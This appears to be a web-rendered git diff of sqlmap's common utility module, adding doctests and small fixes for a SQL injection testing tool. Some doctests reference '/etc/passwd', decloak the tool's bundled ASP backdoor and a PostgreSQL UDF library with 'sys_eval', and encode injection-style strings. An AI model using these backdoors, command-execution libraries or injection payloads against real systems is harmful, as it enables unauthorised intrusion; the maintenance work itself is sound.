retVal = distutils.version.LooseVersion(Backend.getVersion()) >= distutils.version.LooseVersion(version)
|
||||||
|
except:
|
||||||
|
retVal = str(Backend.getVersion()) >= str(version)
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isOs(os):
|
def isOs(os):
|
||||||
@@ -630,7 +640,8 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
if parameter in (conf.base64Parameter or []):
|
if parameter in (conf.base64Parameter or []):
|
||||||
try:
|
try:
|
||||||
oldValue = value
|
kb.base64Originals[parameter] = oldValue = value
|
||||||
|
value = urldecode(value, convall=True)
|
||||||
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
||||||
except:
|
except:
|
||||||
@@ -963,12 +974,13 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
|||||||
level = getattr(logging, level, None)
|
level = getattr(logging, level, None)
|
||||||
except:
|
except:
|
||||||
level = None
|
level = None
|
||||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
retVal = LOGGER_HANDLER.colorize(message, level, True)
|
||||||
else:
|
else:
|
||||||
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||||
if match:
|
if match:
|
||||||
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||||
|
|
||||||
|
if not any(_ in message for _ in ("Payload: ",)):
|
||||||
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||||
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
|
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
|
||||||
|
|
||||||
@@ -1047,9 +1059,20 @@ def dataToDumpFile(dumpFile, data):
|
|||||||
errMsg = "permission denied when flushing dump data"
|
errMsg = "permission denied when flushing dump data"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
raise
|
errMsg = "error occurred when writing dump data to file ('%s')" % getUnicode(ex)
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
def dataToOutFile(filename, data):
|
def dataToOutFile(filename, data):
|
||||||
|
"""
|
||||||
|
Saves data to filename
|
||||||
|
|
||||||
|
>>> pushValue(conf.get("filePath"))
|
||||||
|
>>> conf.filePath = tempfile.gettempdir()
|
||||||
|
>>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
|
||||||
|
True
|
||||||
|
>>> conf.filePath = popValue()
|
||||||
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
@@ -1248,6 +1271,8 @@ def sanitizeStr(value):
|
|||||||
|
|
||||||
>>> sanitizeStr('foo\\n\\rbar') == 'foo bar'
|
>>> sanitizeStr('foo\\n\\rbar') == 'foo bar'
|
||||||
True
|
True
|
||||||
|
>>> sanitizeStr(None) == 'None'
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return getUnicode(value).replace("\n", " ").replace("\r", "")
|
return getUnicode(value).replace("\n", " ").replace("\r", "")
|
||||||
@@ -1347,7 +1372,7 @@ def banner():
|
|||||||
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
||||||
result = BANNER
|
result = BANNER
|
||||||
|
|
||||||
if not IS_TTY or "--disable-coloring" in sys.argv:
|
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
|
||||||
result = clearColors(result)
|
result = clearColors(result)
|
||||||
elif IS_WIN:
|
elif IS_WIN:
|
||||||
coloramainit()
|
coloramainit()
|
||||||
@@ -1506,7 +1531,7 @@ def parseTargetDirect():
|
|||||||
remote = False
|
remote = False
|
||||||
|
|
||||||
for dbms in SUPPORTED_DBMS:
|
for dbms in SUPPORTED_DBMS:
|
||||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]*)$" % dbms, conf.direct, re.I)
|
||||||
|
|
||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
@@ -1713,6 +1738,11 @@ def escapeJsonValue(value):
|
|||||||
Escapes JSON value (used in payloads)
|
Escapes JSON value (used in payloads)
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/16652683
|
# Reference: https://stackoverflow.com/a/16652683
|
||||||
|
|
||||||
|
>>> "\\n" in escapeJsonValue("foo\\nbar")
|
||||||
|
False
|
||||||
|
>>> "\\\\t" in escapeJsonValue("foo\\tbar")
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = ""
|
retVal = ""
|
||||||
@@ -1732,7 +1762,7 @@ def expandAsteriskForColumns(expression):
|
|||||||
the SQL query string (expression)
|
the SQL query string (expression)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
|
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
|
||||||
|
|
||||||
if match:
|
if match:
|
||||||
infoMsg = "you did not provide the fields in your query. "
|
infoMsg = "you did not provide the fields in your query. "
|
||||||
@@ -1802,6 +1832,9 @@ def getLimitRange(count, plusOne=False):
|
|||||||
def parseUnionPage(page):
|
def parseUnionPage(page):
|
||||||
"""
|
"""
|
||||||
Returns resulting items from UNION query inside provided page content
|
Returns resulting items from UNION query inside provided page content
|
||||||
|
|
||||||
|
>>> parseUnionPage("%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop))
|
||||||
|
['foo', 'bar']
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if page is None:
|
if page is None:
|
||||||
@@ -1887,6 +1920,12 @@ def getLocalIP():
|
|||||||
def getRemoteIP():
|
def getRemoteIP():
|
||||||
"""
|
"""
|
||||||
Get remote/target IP address
|
Get remote/target IP address
|
||||||
|
|
||||||
|
>>> pushValue(conf.hostname)
|
||||||
|
>>> conf.hostname = "localhost"
|
||||||
|
>>> getRemoteIP() == "127.0.0.1"
|
||||||
|
True
|
||||||
|
>>> conf.hostname = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -2013,6 +2052,9 @@ def normalizePath(filepath):
|
|||||||
def safeFilepathEncode(filepath):
|
def safeFilepathEncode(filepath):
|
||||||
"""
|
"""
|
||||||
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
||||||
|
|
||||||
|
>>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = filepath
|
retVal = filepath
|
||||||
@@ -2026,6 +2068,9 @@ def safeFilepathEncode(filepath):
|
|||||||
def safeExpandUser(filepath):
|
def safeExpandUser(filepath):
|
||||||
"""
|
"""
|
||||||
Patch for a Python Issue18171 (http://bugs.python.org/issue18171)
|
Patch for a Python Issue18171 (http://bugs.python.org/issue18171)
|
||||||
|
|
||||||
|
>>> os.path.basename(__file__) in safeExpandUser(__file__)
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = filepath
|
retVal = filepath
|
||||||
@@ -2045,6 +2090,8 @@ def safeStringFormat(format_, params):
|
|||||||
|
|
||||||
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
|
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
|
||||||
'SELECT foo FROM bar LIMIT 1'
|
'SELECT foo FROM bar LIMIT 1'
|
||||||
|
>>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
|
||||||
|
"SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if format_.count(PAYLOAD_DELIMITER) == 2:
|
if format_.count(PAYLOAD_DELIMITER) == 2:
|
||||||
@@ -2088,7 +2135,10 @@ def safeStringFormat(format_, params):
|
|||||||
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
|
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
|
||||||
raise SqlmapValueException(warnMsg)
|
raise SqlmapValueException(warnMsg)
|
||||||
else:
|
else:
|
||||||
|
try:
|
||||||
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
||||||
|
except re.error:
|
||||||
|
retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
|
||||||
count += 1
|
count += 1
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
@@ -2219,6 +2269,15 @@ def isHexEncodedString(subject):
|
|||||||
def isMultiThreadMode():
|
def isMultiThreadMode():
|
||||||
"""
|
"""
|
||||||
Checks if running in multi-thread(ing) mode
|
Checks if running in multi-thread(ing) mode
|
||||||
|
|
||||||
|
>>> isMultiThreadMode()
|
||||||
|
False
|
||||||
|
>>> _ = lambda: time.sleep(0.1)
|
||||||
|
>>> thread = threading.Thread(target=_)
|
||||||
|
>>> thread.daemon = True
|
||||||
|
>>> thread.start()
|
||||||
|
>>> isMultiThreadMode()
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return threading.activeCount() > 1
|
return threading.activeCount() > 1
|
||||||
@@ -2227,6 +2286,9 @@ def isMultiThreadMode():
|
|||||||
def getConsoleWidth(default=80):
|
def getConsoleWidth(default=80):
|
||||||
"""
|
"""
|
||||||
Returns console width
|
Returns console width
|
||||||
|
|
||||||
|
>>> any((getConsoleWidth(), True))
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
width = None
|
width = None
|
||||||
@@ -2433,6 +2495,9 @@ def initCommonOutputs():
|
|||||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||||
"""
|
"""
|
||||||
Returns newline delimited items contained inside file
|
Returns newline delimited items contained inside file
|
||||||
|
|
||||||
|
>>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = list() if not unique else OrderedDict()
|
retVal = list() if not unique else OrderedDict()
|
||||||
@@ -2539,8 +2604,8 @@ def goGoodSamaritan(prevValue, originalCharset):
|
|||||||
|
|
||||||
def getPartRun(alias=True):
|
def getPartRun(alias=True):
|
||||||
"""
|
"""
|
||||||
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
|
Goes through call stack and finds constructs matching
|
||||||
Returns it or its alias used in 'txt/common-outputs.txt'
|
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -2817,17 +2882,15 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C
|
|||||||
True
|
True
|
||||||
>>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
|
>>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
|
||||||
True
|
True
|
||||||
|
>>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#'
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
result = value
|
result = value
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
try:
|
value = getUnicode(value)
|
||||||
# for cases like T%C3%BCrk%C3%A7e
|
|
||||||
value = str(value)
|
|
||||||
except ValueError:
|
|
||||||
pass
|
|
||||||
finally:
|
|
||||||
if convall:
|
if convall:
|
||||||
result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
|
result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
|
||||||
else:
|
else:
|
||||||
@@ -2853,10 +2916,12 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
|
|
||||||
>>> urlencode('AND 1>(2+3)#')
|
>>> urlencode('AND 1>(2+3)#')
|
||||||
'AND%201%3E%282%2B3%29%23'
|
'AND%201%3E%282%2B3%29%23'
|
||||||
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
|
>>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0")
|
||||||
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
|
||||||
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
|
>>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0")
|
||||||
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
|
||||||
|
>>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'")
|
||||||
|
'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.get("direct"):
|
if conf.get("direct"):
|
||||||
@@ -2881,7 +2946,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
# encoded (when not representing URL encoded char)
|
# encoded (when not representing URL encoded char)
|
||||||
# except in cases when tampering scripts are used
|
# except in cases when tampering scripts are used
|
||||||
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
||||||
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
|
value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value)
|
||||||
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -2959,6 +3024,8 @@ def getPublicTypeMembers(type_, onlyValues=False):
|
|||||||
|
|
||||||
>>> [_ for _ in getPublicTypeMembers(OS, True)]
|
>>> [_ for _ in getPublicTypeMembers(OS, True)]
|
||||||
['Linux', 'Windows']
|
['Linux', 'Windows']
|
||||||
|
>>> [_ for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True)]
|
||||||
|
[1, 2, 3, 4, 5, 6]
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = []
|
retVal = []
|
||||||
@@ -3201,7 +3268,7 @@ def filterNone(values):
|
|||||||
|
|
||||||
retVal = values
|
retVal = values
|
||||||
|
|
||||||
if isinstance(values, collections.Iterable):
|
if isinstance(values, _collections.Iterable):
|
||||||
retVal = [_ for _ in values if _]
|
retVal = [_ for _ in values if _]
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
@@ -3391,7 +3458,7 @@ def setOptimize():
|
|||||||
|
|
||||||
# conf.predictOutput = True
|
# conf.predictOutput = True
|
||||||
conf.keepAlive = True
|
conf.keepAlive = True
|
||||||
conf.threads = 3 if conf.threads < 3 else conf.threads
|
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||||
|
|
||||||
if not conf.nullConnection:
|
if not conf.nullConnection:
|
||||||
@@ -3492,7 +3559,7 @@ def arrayizeValue(value):
|
|||||||
['1']
|
['1']
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if isinstance(value, collections.KeysView):
|
if isinstance(value, _collections.KeysView):
|
||||||
value = [_ for _ in value]
|
value = [_ for _ in value]
|
||||||
elif not isListLike(value):
|
elif not isListLike(value):
|
||||||
value = [value]
|
value = [value]
|
||||||
@@ -3568,7 +3635,7 @@ def isListLike(value):
|
|||||||
False
|
False
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return isinstance(value, (list, tuple, set, BigArray))
|
return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
|
||||||
|
|
||||||
def getSortedInjectionTests():
|
def getSortedInjectionTests():
|
||||||
"""
|
"""
|
||||||
@@ -4133,7 +4200,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
@@ -4171,7 +4238,7 @@ def unsafeSQLIdentificatorNaming(name):
|
|||||||
if isinstance(name, six.string_types):
|
if isinstance(name, six.string_types):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
|
||||||
retVal = name.replace("`", "")
|
retVal = name.replace("`", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
|
||||||
retVal = name.replace("\"", "")
|
retVal = name.replace("\"", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = name.replace("\"", "").upper()
|
retVal = name.replace("\"", "").upper()
|
||||||
@@ -4537,7 +4604,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
|||||||
if filtered and filtered != content:
|
if filtered and filtered != content:
|
||||||
try:
|
try:
|
||||||
forms = ParseResponse(filtered, backwards_compat=False)
|
forms = ParseResponse(filtered, backwards_compat=False)
|
||||||
except ParseError:
|
except:
|
||||||
errMsg = "no success"
|
errMsg = "no success"
|
||||||
if raise_:
|
if raise_:
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -4733,7 +4800,7 @@ def serializeObject(object_):
|
|||||||
"""
|
"""
|
||||||
Serializes given object
|
Serializes given object
|
||||||
|
|
||||||
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
|
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
|
||||||
True
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -4940,7 +5007,7 @@ def resetCookieJar(cookieJar):
|
|||||||
cookieJar.load(cookieJar.filename, ignore_expires=True)
|
cookieJar.load(cookieJar.filename, ignore_expires=True)
|
||||||
|
|
||||||
for cookie in cookieJar:
|
for cookie in cookieJar:
|
||||||
if cookie.expires < time.time():
|
if getattr(cookie, "expires", MAX_INT) < time.time():
|
||||||
warnMsg = "cookie '%s' has expired" % cookie
|
warnMsg = "cookie '%s' has expired" % cookie
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
@@ -4963,6 +5030,14 @@ def decloakToTemp(filename):
|
|||||||
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||||
True
|
True
|
||||||
>>> os.remove(_)
|
>>> os.remove(_)
|
||||||
|
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
|
||||||
|
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
|
||||||
|
True
|
||||||
|
>>> os.remove(_)
|
||||||
|
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
|
||||||
|
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
|
||||||
|
True
|
||||||
|
>>> os.remove(_)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
content = decloak(filename)
|
content = decloak(filename)
|
||||||
@@ -4996,6 +5071,12 @@ def getRequestHeader(request, name):
|
|||||||
Solving an issue with an urllib2 Request header case sensitivity
|
Solving an issue with an urllib2 Request header case sensitivity
|
||||||
|
|
||||||
# Reference: http://bugs.python.org/issue2275
|
# Reference: http://bugs.python.org/issue2275
|
||||||
|
|
||||||
|
>>> _ = lambda _: _
|
||||||
|
>>> _.headers = {"FOO": "BAR"}
|
||||||
|
>>> _.header_items = lambda: _.headers.items()
|
||||||
|
>>> getText(getRequestHeader(_, "foo"))
|
||||||
|
'BAR'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
@@ -5093,6 +5174,13 @@ def pollProcess(process, suppress_errors=False):
|
|||||||
def parseRequestFile(reqFile, checkParams=True):
|
def parseRequestFile(reqFile, checkParams=True):
|
||||||
"""
|
"""
|
||||||
Parses WebScarab and Burp logs and adds results to the target URL list
|
Parses WebScarab and Burp logs and adds results to the target URL list
|
||||||
|
|
||||||
|
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
|
||||||
|
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
|
||||||
|
>>> _ = os.write(handle, content)
|
||||||
|
>>> os.close(handle)
|
||||||
|
>>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _parseWebScarabLog(content):
|
def _parseWebScarabLog(content):
|
||||||
@@ -5162,6 +5250,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
|
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
|
||||||
|
if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
getPostReq = False
|
getPostReq = False
|
||||||
@@ -5235,7 +5324,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
params = True
|
params = True
|
||||||
|
|
||||||
# Avoid proxy and connection type related headers
|
# Avoid proxy and connection type related headers
|
||||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
|
||||||
headers.append((getUnicode(key), getUnicode(value)))
|
headers.append((getUnicode(key), getUnicode(value)))
|
||||||
|
|
||||||
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user